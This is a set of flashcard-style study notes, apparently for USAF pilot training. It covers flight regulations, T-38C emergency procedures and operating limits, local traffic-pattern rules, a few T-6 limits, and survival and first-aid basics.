If you have to deviate from AFI11-202V3, ATC, or flight rules, what must you do following the flight? Verbally report the incident to a supervisor and commander within 24 hours, make a detailed written report which will be kept on file for a minimum of 1 year from the date of the incident and be prepared to provide the record to the appropriate investigating authority if required.
For any alleged violations by the FAA, what information can be released? Callsign(s) only. Do not release names or personal information of crewmembers to non-USAF agiences without permission of AFREP/MAJCOM/HHQ.
What is crew rest? Compulsory for aircrew members prior to performing any duties involving aircraft operations and is a minimum of 12 non-duty hours before the Flight Duty Period begins. Includes time for meals, transpo, and rest with a minimum of 8 hours uninterrupted sleep.
When does the Flight Duty Period begin? When an aircrew member reports for a mission, briefing, or other official duty.
When does the Flight Duty Period end? At the final engine shutdown after the final flight of the completed mission.
What is the maximum flying time? 56 flight hours per 7 consecutive days
125 flight hours per 30 consecutive days
330 flight hours per 90 consecutive days
When shall aircrew members not fly? -Minimum crew rest not met
-Alcohol consumed within previous 12 hrs
-Physical/psychological condition known to be detrimental to safe performance of flight duty.
-Self medicating (unless IAW AFI 48-123)
-Within 24 hours of SCUBA
-Within 12 hours of chamber ride above 25K
-Within 72 hours of donating blood/plasma/bone marrow
What is mandatory for each crew member to have when performing night operations? Operable flashlight.
What medicine can be used without seeing a flight doc? -Single dose of OTC aspirin, acetaminophen, ibuprofen
-OTC skin antiseptics, topical anti-fungals, 1% hydrocortisone cream for conditions that do not hinder wear of PPE
-OTC antacids
-OTC hemorrhoidal suppositories
-OTC bismuth subsalicylate
-OTC nasal sprays (affrin), used only as "get me downs" and not used for treatment of a condition prior to flight.
-------------------------------
What is the maximum fuel flow during start prior to ignition? 360 PPH
What should you do if the fuel flow exceeds 360 PPH prior to ignition? - Retard the throttle to cutoff position if an increase in EGT occurs.
- If the FF drops back below 360 PPH prior to EGT increase, continue to the start.
How long should you wait for the first indication of fuel flow? 12 seconds
What should you do if there is no rise in EGT after 12s? - Throttles to off
- Purge engine with air for 2 minutes
- Re-attempt the start and abort the aircraft if second start is unsucessful.
You should abort the aircraft if the EGT exceeds what temperature? 925C
Should you reposition the flaps from 60% to full during an initial takeoff abort? Yes, without sacrificing aircraft control. Flaps should not be repositioned until the full aft stick attitude is attained.
When will the nosewheel settle to the runway during the heavyweight aerobrake? Approx. 120KCAS
How should you brake after the nose settles to the runway? Immediately use cautious braking above 100KCAS with full aft stick.
Once below 100KCAS, use optimum braking with full aft stick.
What are the primary barriers suitable for the T-38C? MA-1/MA-1A & BAK-15
What is the minimum engagement speed for the MA-1A in a T-38? 60KCAS
Significant structural damage will occur when taking the MA-1A above what speed? 120KCAS
What is the maximum designed dynamic limit speed for the MA-1A barrier? 150kts for all aircraft. Cable will fail above this speed.
What is the maximum engagement speed for the BAK-15? 200KCAS
How should you engage any barrier? Steer the aircraft to engage perpendicular in a 3-point attitude in the center of the barrier.
Should you use the speed brake when taking the MA-1A? No.
What should you do following a barrier engagement? Emergency Ground Egress
What is the proper radio call if you need the BAK-15? "CALLSIGN, Barrier, Barrier, Barrier."
What should you do if both engines fail at low altitude? Zoom the aircraft (20* NH) to exchange airspeed for altitude.
How long is the ignition cycle activated during the alternate airstart? 30 seconds
During an alternate airstart, if the engine does not start within 30 seconds, how can you reenergize the start cycle? Cycle the throttle out of MAX and then back into MAX.
If the throttle is in the MAX range, pushing the start button will activate the start cycle for how long? Only for how long you push the start button.
Do not delay your decision to eject if below what airspeed and altitude following a dual engine flameout? Optimum airstart airspeed and 2000' AGL.
What is the minimum RPM required for an airstart? 12%
What is the heart of the airstart envelope? 18-20%
What should you do if the decision is made to eject following a dual engine failure at low altitude? Eject during the zoom maneuver while the aircraft is nose high with a positive rate of climb prior to reaching a stall/sink rate.
What is the post ejection checklist? Canopy, Visor, Mask, Seat-Kit, LPU, Steer, Prepare, Land
What should you do if you have twisted risers? Reach behind your helmet with your thumbs pointed down on separate risers and bicycle kick.
How do you prepare for a water landing after ejecting? Same as a normal landing.
How do you prepare for a landing in the trees after ejecting? Place you visor down and protect your jugular with your hands.
How do you prepare for a landing in power lines? Turn nugget sideways and place hands on the insides of the risers, palms out.
What is the gearbox shift range? 65-75%
What is the generator cut-in speed? 43-48%
What is the idle RPM range on the ground? 46-50%
What should you do if the generator does not cut-in and the RPM's are less than 48%? Push the start button an monitor engine instruments (if right gen affected.
Push the power up on the affected engine until above 48%. If issue remains, follow checklist.
Why do we taxi clear and shut down if a generator light remains on? Gen light only means the gen has been disconnected from the AC bus. There is still a chance of a bad gen that could lead to a fire.
What are the indications of a left gen fail, no AC cross? All AOA lights on
Left hydro px indicator freezes
Left oil px & fuel flow FAIL
Left gen light
Left fuel px light
All interior lights except CWS, floodlights and utility lights are lost.
What are the components on the left AC bus? BALLRS
Boost Pump
AOA
Lights
Left Autosyn
Rudder trim
SAS
What is the primary purpose of the static inverter? Converts DC power to AC power.
What are the ops limits for the nozzles? Idle ground: 77-92 (no fluctuations
Mil: 0-20
MAX: 50-85
Following rapid throttle movement, nozzle positions should stabilize within how long? 10 seconds
How long do you have for the afterburner to light on the ground? In flight? 5 seconds on the ground, not specified in flight
If you abort a takeoff for an afterburner failure to light, can you taxi back and try the takeoff again? No.
How is the nozzle opened and closed? Nozzle is opened by the T5 system to keep EGT within limits. Nozzles are closed hydromechanically as the throttles are advanced until the T5 cuts in.
What will happen if the nozzle sticks open? Below normal EGT
Reduced Thrust
AB likely inop.
How will you know if you have a nozzle problem as opposed to a gauge malfunction? Check EGT against the other engine for a given power setting.
What will happen if the nozzle is stuck closed? The EGT will be higher than normal
Engine will likely overtemp in MIL
Anticipate overtemp on landing roll due to reduced airflow through the engine.
AB may be inop.
If you experience a blown tire on takeoff, is your TOLD still valid? Nope. Directional control and braking effectiveness is greatly reduced.
When are the effects of tire failure most pronounced? High gross weights
Speeds below 100 KIAS
Directional control issues typically worsen as soon as the nose settles to the runway after aerobrake.
Which is more serious: Landing with a blown tire or a tire failure on takeoff? Tire failure on takeoff (due to high gross weight)
How should you maintain directional control during an abort with a blown tire? Rudder & differential braking. Nosewheel steering should be used as a last resort.
Ensure rudders are centered before engaging NWS.
If you suspect hot brakes after aborting a takeoff due to a blown tire, should you taxi clear of the runway to the hot brake area to shut down? No, do not taxi with a blown tire even if you suspect hot brakes. Declare a ground emergency as there is high potential for a fire due to broken hydraulic lines in the wheel well area.
What are the indications of an airframe mounted gearbox failure? Simultaneous illumination of the affected generator, hydraulic light and master caution light
Corresponding hydro pressure will read zero (assuming good cross)
How should you confirm an airframe mounted gearbox failure? Check the corresponding hydro gauge to see if it is at zero.
Note: Slim possibility that you have a gen fail and hydro overtemp at the same time
How long after one hydro system reads zero may hydraulic system transfer occur? 35 minutes
What is the normal operating range for the hydraulics? 2850-3200psi
What are the min and max hydraulic pressures? 1500 & 3200psi
When do the hydraulic lights illuminate on the caution/warning panel? When the pressure drops below 1500psi
or
When excessive high fluid temperature is detected
When does the hydraulic light go out? At approximately 1800psi (10% RPM) or when fluid temperature cools down below overheat threshold conditions
What components are on the left hydraulic system? Flight controls
Augmentation (Stab) System
Nosewheel steering
Gear extension (normal)
Speed Brake
What systems operate from the airframe mounted gearbox? Hydraulic Pump
AC Generator
What do you do if a fire light is preceded or accompanied by a pop, bang or thump? Consider immediately shutting down the engine.
You get a fire warning during flight. After immediately retarding the throttle to idle, the light goes out. What should you do? Test the fire warning circuit.
What should you do if one or both bulbs in the fire warning light fails to illuminate? Shut the engine down.
Why should you shut down the engine if the fire light remains on after the throttle is placed in idle? Due to the possibility of rapid loss of the flight controls.
What should you do if the fuel flow does not drop to 0-60PPH after placing the throttle to cutoff for a fire? Use the fuel shutoff switch.
When should you abandon an aircraft for a fire? Eject only if the fire is confirmed. Fire warning light is not adequate grounds for ejection.
After shutting down an engine for a fire, can you restart that engine if needed? Do not restart an engine that has been shut down for fire, FOD or frozen/seized.
Should you check for a right gen crossover before shutting down an engine for a fire? Negative. Do NOT interrupt a boldface.
What are the three landable configurations in the T-38? Three green down and locked
Two main gear with nose gear up.
All gear up.
What system does the alternate gear extension system deactivate? Downside hydraulics and electronics
How much time is required for an alternate gear extension? 15-35s
If the striker plate is found in the extended position during a preflight, what should you do? Do not accept the jet.
Where is the gear reset lever located? FCP, just left of the left rudder pedal. If it is in the up position, the lever has been reset.
Will the striker plate reset itself after the reset lever has been placed in the up position? No. The striker plate will only reset itself to the raised position when the gear is raised.
When will the landing gear warning system activate? Below 210KCAS
Less than 10,000' MSL (+/-750')
Both throttles below 96%
Can we land the T-38 with one or more gear doors down? Yes.
What does a red light in the gear handle indicate with the gear handle in the up position? The gear doors are not up and locked.
What lights will be illuminated on the WCI panel with a right gen, no cross? Right Gen
Right fuel px
Engine anti-ice
What components do you lose if you have a right gen, no cross? THE P FARM
Trim
HUD
Engine anti-ice control
Pitot Heat
Flaps/Fuel Quantity
Air Conditioning/Canopy Seal
Right Boost Pump/Autosyn
MDP (SAS, UFCP, TCAS inop)
How can you check fuel quantities with a right gen no cross? Use the fuel quantity test/check switch or either start button.
How do you compute a no-flap landing distance? (2500+fuel)x2 + 1000
How do you compute a no-flap landing distance on a wet runway? 1.3 x (2x(2500+fuel))+1000
How much of the hydraulic fluid should be visible in the sight gauge? Above the bottom service line
Fluid level may be above the upper service line if it is not the first flight of the day.
Why does the gearbox shift? It shifts to keep the AC generator output between 320 and 480Hz
Momentary drops in hydraulic pressure sufficient to cause illumination of the hydraulic caution light may be an indication of what? An unpressurized hydraulic system.
How are the hydraulic reservoirs pressurized? Bleed air from the 8th stage compressor
Are momentary blinking of the left and right fuel pressure lights acceptable? Yes, due to fuel requirement surge (initiating AB).
Normally sufficient fuel flows by gravity to maintain max power from sea level up to approximately what altitude? 25,000'
Gravity fuel flow is guaranteed only to what altitude in max power? 6,000'
Flameouts during gravity feed have occurred as low as what altitude? 7,000'
Are the fuel shutoff valves AC or DC powered? DC
The fuel shutoff valves shut off fuel flow to either or both engines in how many seconds? 1s
When should you not crossfeed? BILLL
Boost pump inop
Indicator or EED inop
Low Altitude (OK to use in liveoak/radar patt)
Low fuel
Leak
When do the fuel quantity bars turn red? When either fuel quantity indicator reads below 250lbs for 7.5 seconds
If one of the fuel systems is at less than 600lbs, the boost pump output is reduced by approximately how many percent? 40%
Why is there a reduced output from the boost pump when the system is below 600lbs? The surface of the fuel falls below the fuel boost pump upper inlet.
What should you do in the event smoke or fumes enter the cockpit? Immediately gang load
What should you do in the event that you gang load during a smoke and fumes event and do not get fresh air? Pull the green ring and disconnect from the ship supply
What can you do to eliminate smoke/fumes in the cockpit? Ensure you are below 25,000' and ram dump.
If the smoke still does not dissipate, consider pulling the emergency canopy jettison or break a hole in the canopy with the canopy breaker tool.
Should you attempt to identify the type of odors in the cockpit prior to gangloading? No. Gangload immediately and consult a flight doc.
What three things does the flap/slab interconnect system do? 1. Automatically repositions the slab to eliminate the pitch changes caused by flap movement
2. Increases the amount of stick authority in the nose down direction
3. Increases the amount of slab authority per inch of stick travel.
In what flap range does the majority of the flap/slab interconnect compensation occur? First 35% of flap deflection
How will the flight controls be affected if the flap/slab interconnect fails with the flaps extended? All flight control compensation will be removed and the slab will be rapidly repositioned to the 0% position.
What is the main indication of a flap/slab interconnect fail, with full flaps? A sudden pitch up will occur causing a near-instantaneous stall.
Full forward stick deflection is required
Pilot must take corrective action within 3 seconds to ensure recovery without loss of altitude.
Following a flap/slab interconnect failure when the flaps are subsequently retracted, how will the aircraft respond? It will require less forward stick to maintain level flight.
Following a flap/slab interconnect failure, when will normal flight characteristics be restored? When the flaps are retracted to 0% and flying airspeed is attained
What should you do following an interconnect failure assuming landing distance is critical? Use the aux flap mode to track 30-45% flaps and fly AOA on speed indication
A minimum of what RPM is required to achieve any engine fuel flow? 12%
How long should you leave the throttle in idle before aborting an emergency air start? 30 seconds
Advancing the throttle to the max range energizes the ignition circuit for how many seconds? 30 seconds
With dual engine failure, what must be on to ensure ignition? The battery.
At 2,000' MSL, what approximate airspeed will allow windmilling RPM to be in the heart of the airstart envelope? Approximately 300 KCAS
If dual flameout occurs, which engine should you start first? The right engine.
If it appears you will depart the prepared surface, what must you do? Shut down the engines immediately.
In what order should you use the controls to keep the aircraft on the prepared surface? Rudder (until ~70KCAS)
Differential braking
Nosewheel steering (Last resort)
Which side of the runway should you land on when landing with a suspected brake failure? Center of the runway if there is no other emergency.
How long does it take for the BAK-15 to be raised? 7-10 seconds following your call.
What is the minimum speed required for the aircraft to takeoff and climb out of ground effect single engine? SETOS
How high above the runway is ground effect in the T-38? 12.5 feet (1/2 the wingspan)
What climb rate does SETOS give you? Minimum of 100 FPM
How can you obtain the best acceleration for a single engine takeoff? 3 point attitude with the stick at or slightly aft of the takeoff trim setting
The nosewheel should not be allowed to dig in, nor lift off.
What should you do if engine failure occurs after rotation? Lower the nose to accelerate
If you do become airborne at SETOS, how should you climb? Climb should be restricted to only that required to avoid obstacles until the airspeed reaches 200KCAS and the flaps are retracted
If unable to retract the gear, the best climb/level flight with 60% flaps can be obtained at what airspeed? With the flaps up? 200KCAS
220KCAS
At high gross weight with the gear stuck down on a single engine takeoff, flap retraction should be delayed until what airspeed? 220KCAS
If you have a single engine failure/fire during a touch and go, which boldface applies? The single engine go boldface because the boldface for engine failure/fire during takeoff/takeoff continued only applies for initial takeoff
Are you required to roll flaps to full on a single engine landing even when landing distance is critical? No (-1 says optional)
Under single engine low fuel conditions (250lbs in each system), with two operating boost pumps you should do what? Place the crossfeed on and both boost pumps on to provide max usable fuel.
What are the indications of a compressor stall at low altitude and high airspeed? Pop, bang, buzz followed by rapid RPM drop or high EGT
What are the indications of a compressor stall at high altitude? Audible chug or pop with decreasing RPM & EGT
Factors that can increase the stall sensitivity and decrease the compressor stall margin FOD
High AOA at low airspeeds
Low compressor inlet temp
Maneuvering flights
Unusual flight attitudes
Atmospheric variations
Jetwash
Temperature and pressure distortion
Ice formation on inlet ducts/guide vanes
Maneuvering above approx what altitude and airspeed has proven to increase susceptibility to stall/flameout? 28,000' and 0.6 MACH
What is T2 cutback? T2 sensor in the main fuel control automatically reduces the physical RPM and EGT to prevent overpressurization.
What should you do in the event of a T2 cutback? Airspeed should be increased by exchanging altitude for airspeed to increase compressor inlet temperatures prior to making a throttle movement.
What is EGT droop? Decrease in EGT at low altitude and high airspeed (500KCAS) when the engine is at MIL.
May be accompanied by a 3% or less nozzle indication
What is idle decay? During 1g stalls at or above 20,000' with throttles at idle and airspeed at less than 200KCAS, the in-flight idle RPM can decay to less than normal ground idle speed (46-50%) and the generator caution lights illuminate
What procedures are in place to avoid idle decay? We use at or above 80% RPM when at airspeeds less than 200KCAS and above 20,000'.
Should you change configuration after a hard or overrun landing? No, request a chase ship and look for damage (if you end up going around)
What causes a balloon? Result of abrupt control inputs in the transition/flare
What causes a bounce or high flare? Result of mis-judgement of the height above the runway.
What should you do if you get into a PIO during a touch and go? Freeze the stick slightly aft of neutral and execute a go-around with MAX power. Do not attempt to counter it with fore/aft movements.
Do you have to use MAX power to go around from the final turn? No, but maintain final turn airspeed as a minimum.
If you roll off the perch with a straight-in inside of 4 miles should you break out? NO! RSU controller should be directive. Complete the final turn remaining clear of the straight-in ground track, going around and offsetting to the north.
-------------------------------
Fuel System, Number of bladders 5
Single point refueling usable fuel (lbs) 3906
Over the top refueling usable fuel (lbs) 3866
Fuel low light illuminates when fuel is below ______ lbs for ____ seconds 250, 7.5
Normal fuel pressure 10psi
Low fuel pressure light illuminates when psi drops below ____ _ 6psi
Gravity flow is guaranteed up to ______ K ft, and limited to ____K ft, however flameouts have occurred as low as ____K ft 6, 25, 7
Methods to turn off fuel flow Throttles and switches
Fuel cutoff switches take ___seconds to stop fuel flow and are controlled _________ 1, electronically
Fuel imbalance indicators 0-50, no display
60-190, white text
>200, red text
Methods to correct a fuel imbalance < 200lbs- differential throttles
> 200lbs - crossfeed
Below _____lbs, max thrust dives are not allowed 650
Avoid negative or 0 g operation in max thrust for ____ seconds at _____ ft and _____ seconds at _____ ft 10s, 10,0000, 30s, 30,000
Components of the AB system Igniter plug
AB Pilot Manifold
AB Main Manifold
AB Fuel Pump
AB Fuel Control
Electrical system specifications (AC) 3 phase, 115/200VAC, 320-480 cycles/sec
Generator cut in RPM 43-48%
Generator shift range RPM 65-75%
Transformer Rectifier Unit specifications 28v DC, 50A, converts AC to DC
Battery specifications 24v DC, 10 Ah
Battery will last ____ min at ____% charge 15, 80
DC battery relay closes at ____v 18
DC battery relay opens at ____v 10
Methods to activate the static inverter Starter button (30s)
Oxy/Fuel Qty and Gage Test
Throttles placed in Max
Cabin pressure schedule, 0-8K ft Ambient
Cabin pressure schedule, 8-FL230 8,000 +/- 1,000ft
Cabin pressure schedule, >FL 230 (Altitude - 6)/2, +/-2,000ft
MIL thrust lost (%) with engine anti-ice operating 8.5%
MAX thrust lost (%) with engine anti-ice operating 5.5%
Engine anti-ice is most effective above ___% RPM 80
Engine anti-ice is automatically activated and always on below ___% RPM 65
Landing Gear Warning System Triggers <= 210KCAS
<= 10,000'
Throttles < 96%
Stall warning system is active when ______ or ______ with gear up the landing gear is down (any altitude), <5,000' with gear up
Nosewheel Steering is deactivated when ____ or ____ Weight off nose gear, throttles in max
Optimum AOA, Range 0.18
Optimum AOA, Endurance 0.3
Optimum AOA, Performance 0.6
AOA, Stall 1.0
AOA, Stall Warning 0.8
Front canopy is rated to withstand a ___lb bird striking the canopy at ____KCAS. NOTE: Deflection of the front canopy may cause the ____ to shatter. 4, 125-400, HUD
L/Dmax (230 + GAS) can be used for ___,____, ___, and ___ Safe single engine airspeed, max endurance, best glide, best angle of climb
Lock point definition and speed (Gear Down, 60% flaps) Minimum speed to maintain continuous level flight, 160kts
Thunderstorm penetration speed 280KCAS
Max landing rate of descent (normal & crab), Full Fuel Weight 340fpm, 200fpm in crab
Max landing rate of descent (normal & crab), <1700lbs Fuel 590fpm, 395fpm in crab
Pattern Priorities Every normal man feels great ass:
Emergency
NORDO
Min Fuel
Formation
Gate Entry
Already established in the pattern
Increase landing distance by ____x for wet runway 1.3
___% increase in touchdown speed increases landing distance by ___% 5, 10
Insufficient aerobraking can increase landing distance by as much as ___% 50
CWA lights extinguish in this order on start Battery On - Oxygen & Fuel Low
Right Air - Flight Hydraulics
Right Start Button - No change
Right Throttle Moved to Idle - Right Fuel Px
Right RPM passes 43-48% - Right Gen, XMFR, Engine Anti-Ice
Left Air - Utility Hydraulics
Left Start Button - No change
Left Throttle Moved to Idle - Left Fuel Px
Left RPM passes 43-48% - Left Gen
Abort THROTTLES - IDLE; WHEEL BRAKES - AS REQUIRED
Engine Failure / Fire Warning During Takeoff, Takeoff Continued THROTTLES - MAX; FLAPS - 60%; AIRSPEED - ATTAIN SETOS MINIMUM
Tire Failure During Takeoff, Takeoff Continued GEAR - DO NOT RETRACT
Fire Warning During Flight (Affected Engine) THROTTLE - IDLE; THROTTLE - OFF, IF FIRE LIGHT REMAINS ON; IF FIRE IS CONFIRMED - EJECT
Ejection EJECTION HANDLE - PULL
Alternate Airstart / Loss of Thrust (Low Altitude) THROTTLE(S) - MAX; SPEED BRAKE - CONFIRM CLOSED
Single-Engine Go-Around THROTTLE(S) - MAX; FLAPS - 60%; AIRSPEED - ATTAIN FINAL APPROACH SPEED MINIMUM
Ground Start EGT 925; 845
Ground Start Fuel Flow 360
Ground Idle RPM 46-50
Ground Idle Nozzle Position 77-92
Ground Idle Fuel Flow 400-600
Ground Idle Oil Pressure 5-20
Ground Military EGT 630-650
Ground Military RPM 99-101
Ground Military Nozzle Position 0-20
Ground Military Fuel Flow 2100-2700
Ground Military Oil Pressure 20-55 (5 min)
Ground Max / Afterburner EGT 630-650
Ground Max / Afterburner RPM 99-101
Ground Max / Afterburner Nozzle Position 50-85
Ground Max / Afterburner Oil Pressure 20-55 (5 min)
Flight Start EGT 925
Flight Start Fuel Flow 360
Flight Idle Fuel Flow 200
Flight Idle Oil Pressure 5
Flight Military EGT 630-650
Flight Military RPM 99-104
Flight Military Nozzle Position 0-20
Flight Military Oil Pressure 20-55 (30 Min)
Flight Max / Afterburner EGT 630-650
Flight Max / Afterburner RPM 90-104
Flight Max / Afterburner Nozzle Position 50-85
Flight Max / Afterburner Oil Pressure 20-55 (15 min)
Idle Ground RPM Fluctuation 46-50
Idle Ground Fuel Flow Fluctuation +/-25
Idle Ground Oil Pressure Fluctuation +/-2
Mil/AB Ground RPM Fluctuation 99-101
Mil/AB Ground Nozzle Position Fluctuation +/-3
Mil/AB Ground Fuel Flow Fluctuation +/-50
Mil/AB Ground Oil Pressure Fluctuation +/-2
Mil/AB Flight RPM Fluctuation +/-1
Mil/AB Flight Nozzle Position Fluctuation +/-3
Mil/AB Flight Fuel Flow Flucutuation +/-50
Mil/AB Flight Oil Pressure Fluctuation +/-2
Abort start if EGT reaches 845
Abort ground start if EGT exceedes 925
Total fluctuations in EGT of _______ are acceptable if average EGT is between _____ and _____ 15; +/-7.5; 630; 650
Maximum allowable transient RPM 107
Following rapid throttle movements, nozzle position should stabilize within permissible fluctuation range within ____ seconds 10
During engine start, fuel flow may momentarily transit above _____ LB/HR after advancing the throttle to idle during engine sequence but should return to equal to or less than _____ LB/HR prior to EGT rise during actual engine start 360; 360
Do not exceed ____ minutes in military power with oil pressure above ____ PSI. 5; 55
If a sudden change of ____ PSI or greater in oil pressure indication occurs at any stabilized RPM, follow engine oil system malfunction procedures in Section III of the DASH 1. 10
Airspeed limitation, Flaps 1%-45% 300 KCAS
Airspeed limitation, Flaps 46-60% 240 KCAS
Airspeed limitation, Flaps over 60% 220 KCAS
Airspeed limitation, Canopy 50 KCAS
Airspeed limitation, Gear/Gear Doors 240 KCAS
Speed limitation, Nose Wheel Steering 65 kts GS
Speed Limitation, Main Wheel Tire 221 kts GS
Speed Limitation, Nose Wheel Tire 174 kts GS
Load Factor Limitation, 3500lbs Symmetric -2.3, 5.7
Load Factor Limitation, 3000lbs Symmetric -2.4, 5.9
Load Factor Limitation, 2000lbs Symmetric -2.6, 6.5
Load Factor Limitation, 1000lbs Symmetric -2.9, 7.2
Load Factor Limitation, 3500lbs Asymmetric 0, 4.1
Load Factor Limitation, 3000lbs Asymmetric 0, 4.3
Load Factor Limitation, 2000lbs Asymmetric 0, 4.7
Load Factor Limitation, 1000lbs Asymmetric 0, 5.0
Extension/retraction of landing gear at bank angles greater than ____ degrees or at load factors greater than ____ G can result in overstress failure of the main landing gear sidebrace trunnion 45; 1.5
Hydraulic Pressure, Min PSI 1500
Hydraulic Pressure, Max PSI 3200
Hydraulic Pressure, Normal PSI Range 2850 to 3200
Oxygen Pressure, Normal Range 50; 120
WSSP Limitations, Symmetric 0, 4.0
WSSP Limitations, Asymmetric 0, 3.0
WSSP Limitations, Normal Capacity 140lbs
Airspeed Limits, Max 400 KCAS
Airspeed Limits, SB Open/Turbulence 350 KCAS
Airspeed Limits, Abrupt Control 240 KCAS
Prohibited Maneuvers Vertical Stalls, Intentional Spins, Continuous aileron rolls at other than 1.0g and/or greater than 3/4 stick deflection.
-------------------------------
Inside Downwind, No Flap 120/30%
Inside Downwind, Flaps Takeoff 120/35%
Inside Downwind, Flaps Landing 120/45%
Final Turn, No Flap 120/12%
Final Turn, Flaps Takeoff 115/15%
Final Turn, Flaps Landing 110/18%
Final, No Flap 110/12-14%
Final, Flaps Takeoff 105/14-16%
Final, Flaps Landing 100/16-18%
Touchdown Speed, No Flap 90 (85-100)
Touchdown Speed, Flaps Takeoff 85 (80-95)
Touchdown Speed, Flaps Landing 80 (75-90)
Touchdown Zone, No Flap First 1,500'
Touchdown Zone, Flaps Takeoff First 1,000'
Touchdown Zone, Flaps Landing First 1,000'
Pattern Priorities Emergency, Min Fuel, NORDO, Formation, Single Ship Established in the Pattern, Single Ship Radar Entry, Single Ship VFR Entry
Don't Break When Aircraft between 5 and 2 miles, Conflict on Inside Downwind, Aircraft between "Report High Key" and physical position of Low Key, Aircraft Orbiting at HK
Don't Request Closed When Aircraft between 5 and 2 miles, conflict on inside downwind, aircraft between "Report High Key" and physical position of Low Key, Aircraft Orbiting and HK, Aircraft called Initial
Breakout from Inside Downwind When 1. Not configured by perch
2. Straight in inside of 2 miles and not in sight
3. Aircraft on final turn and not in sight
4. Aircraft after Low Key and unable to maintain spacing
5. Unable to maintain proper spacing and pattern ground track on inside downwind.
Sunfish Airspace Surface to 3,500' MSL
Within 7 DME of 31L/13R extended centerlines
Excludes airspace 3 miles past departure end.
-------------------------------
Unrestricted Weather and facilities permit full use of all training areas.
Restricted with Remarks Weather and / or facilities do not permit full use of training areas, VFR patterns, or outlying instrument facilities.
Wing Solo 2,500-3, In-Flight Vis 5mi, formation solo clear of clouds, contact solo in sunfish pattern.
Pattern Solo 2,500-3, In-Flight Vis 5mi, VFR pattern ops (incl. breakout/re-entry), solo in sunfish pattern.
Dual 2,500-3, No solos, VFR pattern ops (incl. breakout/re-entry).
Restricted Overhead Low Key: 2,000-3
Min Pattern AGL cig/vis: 1,500-3
Min Entry AGL cig/vis (MARBLE/STENNIS): 2,100-3
Pattern entry from straight-in from radar, initial takeoff, or closed/crosswind from center runway
Max 8 acft in RSU pattern
No breakouts (straight-in's require sup, SOF, RAPCON coord).
Contact Recoveries Min Pattern AGL cig/vis: 1,500-3 (1,600-3 radar termination)
Plan on reporting initial for active runway, cancel IFR no later than radar termination
Tower controlled patter (no more than 4 acft)
No breakouts or ELPs, minimize VFR patterns (3 max)
Follow tower instructions and make all requests with tower.
VFR ST-IN Min Cig/Vis AGL: 1,500-3 (2,100-3 MARBLE/STENNIS)
Pattern entry made from ST-in from radar term
All landings full-stop
IFR Recovery Min Cig/Vis: Published mins for circling approach to inside runway
Fly published circling for full-stop
SLOTS Min Cig/Vis: Lowest compatible approach mins
Plan recovery to land within designated landing window
Plan all approaches to full stop (coord changes through SUP to SOF)
Recall Coord launches with SOF
Conditions necessitate an orderly recovery flow
SOF will coord with RAPCON to recover aircraft in desired order
All aircrew request recovery from area or outlying fix (expect delays)
Area Hold Stop all launches
Airborne not in pattern follow guidance
T-6 Recoveries Suspended UFN Launches at discretion of SOF
Normal maneuvering until BINGO+100#, then AREA HOLD
STANDBY No local aircraft airborne
Local flying suspended for indefinite period until conditions improve
Gunshy Ops Min CIG/VIS: 2,500-3
Six aircraft in the pattern
Must be able to maintain VFR after cancelling IFR when entering/exiting gunshy
High Pattern 3200
High Key 3200
Breakout (OVHD) 2200
Breakout (VFR Entry) 1700
Low Key 1700
Overhead Pattern 1200
Straight-In 700
Breakout (ST-IN) 700
CAFB Airfield Elevation 218
Pattern Priorities Emergency
Minimum Fuel
NORDO
Formation
Single Ship In The Pattern
Single Ship Radar Entry
Single Ship VFR Entries
"Eat My New Food, Pizza, Ravioli and Vegetables"
-------------------------------
Maximum Transient Np & Duration 102, 20
Maximum Transient Np (Emergency) 110%
Maximum Rate of Decent at Touchdown 600fpm/3.7G
Generator Voltage and Amps Limits (in flight) +50A to -2A, 28-28.5V
Max IOAT for Start 80C
Propeller Overspeed Limit 110%
Max Airspeed for Turbulence Penetration 195KIAS
Recommended Airspeed for Turbulence Penetration 180KIAS
Zero G Loading Time Limit 5s
Maximum Time Inverted 15s
Max weight of pubs/bags on glareshield 8.5lbs
Max N1 104%
Max N1 Transient 104%
-------------------------------
Components of the "SURVIVAL" Acronym S - Size up the situation, surrounding, physical condition (shock) and equipment
U - Use all senses
R - Remember location, water & shelter
V - Vanquish fear & panic
I - Improvise & Improve
V - Value Living/Will to Survive
A - Act Like the natives (adapt!)
L - Live by your wits
Key element of a survival plan Prioritize your needs first
Survival Conditions/Components Environmental, Time, Survivor's Condition
Commons Stresses & How to deal with them Pain - Something that can & needs to be tolerated
Thirst/Dehydration - Don't forget to drink water
Thermal - Any deviation from normal body temperature, even 1-2F, will change your efficiency
Hunger - You can go longer without food than water
Frustration - Make small achievable goals to keep motivated
Fatigue - Result of dehydration, hunger, thermal stresses and/or fear stress
Insecurity - Be positive about the situation
Common reactions to stress Fear - Something known
Anxiety - Something unknown ("butterflies")
Panic - Sudden overwhelming fear. Can spread to others.
Anger - lose control
Impatience
Loneliness & Boredom
Hopelessness - Hand in hand with frustration
Key concept of fear How a person reacts to fear is more dependent on the the individuals than the situation
Physical Reactions to Fear Quickening of the pulse
Dilation of pupils
Increased muscular tension/fatigue
Perspiration of palms, soles of feet, and armpits
Dryness of mouth and throat; higher pitch of voice; stammering
Feeling of butterflies in the stomach
Psychological Reactions to Fear Irritability; increased hostility
Talkativeness in early stages leading to speechlessness
Confusion, forgetfulness, and inability to concentrate
Feeling of unreality, flight & panic, or stupor
Steps to controlling fear Fear cannot be avoided, but can be controlled:
1. Understand fear
2. Admit fear exists
3. Accept fear as a reality
Why the will to survive is important Without the will to survive, survival prospects are poor.
Areas effected by the will to survive Crisis Period - point when realization of the situation settles in
*Coping Period* - resolve to *endure* than succumb
*Attitude* - most important element of the will to survive.
Optimism - Having a positive outlook on the situation
Steps of survival first aid 1. Control bleeding
2. Establish responsiveness
3. Check ABC's (Airway, Breathing, Circulation)
Techniques to control bleeding *Direct pressure*
Elevation
Pressure Points
*Note*: utilize a combination of techniques for the best effect.
Types of shock Hypovolemic (Fluid Loss), Psychogenic (fainting)
Features of a dislocation *Deformity*, swelling, pain, loss of motion
Features of a sprain Tenderness, swelling, *discoloration*, loss of motion
Flail Chest 3 or more broken ribs adjacent to each other. Limit mobility and lie down on this side. Danger of punctured internal organs.
Types of Burns 1st Degree - Damage to superficial skin layer (sunburn)
2nd Degree - Characterized by blisters, damage to deep tissue
3rd Degree - White & Black in color, severe deep nerve and tissue damage
Types of Eye Injuries Simple - Debris in eye, flush with water
Severe - Impalement, immobilize & cover both eyes.
Shelter Types Natural (Pre-existing)
Immediate - Anything that can be quickly established
Improvised - Easy to construct but takes time and effort
